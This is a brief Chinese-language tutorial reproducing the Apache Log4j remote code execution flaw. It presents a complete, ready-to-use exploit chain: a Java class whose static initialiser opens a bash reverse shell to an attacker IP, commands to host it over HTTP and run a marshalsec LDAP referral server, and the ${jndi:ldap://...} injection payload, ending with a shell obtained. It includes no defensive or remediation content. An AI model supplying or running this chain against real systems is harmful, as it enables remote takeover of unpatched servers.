Apache Log4j任意代码执行复现

1、构造反序列化exp,改一下ip就好了

import java.lang.Process;

public class Exp {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/ip/12000 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

2、用javac编译一下
9e69b00ef862fdb500971068488c5124.png

3、将刚刚得到的class放入我们即将开启的web目录里面,然后开启

python -m SimpleHTTPServer 80

1641535643_61d7d89bd700a4289eded.png

4、访问效果可以看一下
1641535644_61d7d89caef4c95925bbd.png!small.jpg

5、然后我们去github上下一个ldap对应的注入工具

https://github.com/RandomRobbieBF/marshalsec-jar

6、然后执行以下命令

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip/#Exp" 9999

1641535645_61d7d89d9b6098fee34ea.png

7、nc开启监听命令
1641535646_61d7d89e5ff430a3388cb.png!small.jpg

8、准备工作搞完了,就直接payload

${jndi:ldap://ip:9999/Exp}

1641535647_61d7d89f3d5c75bd46614.png!small.jpg

9、接着就弹shell了

1641535648_61d7d8a03ed9f10af63ed.png!small.jpg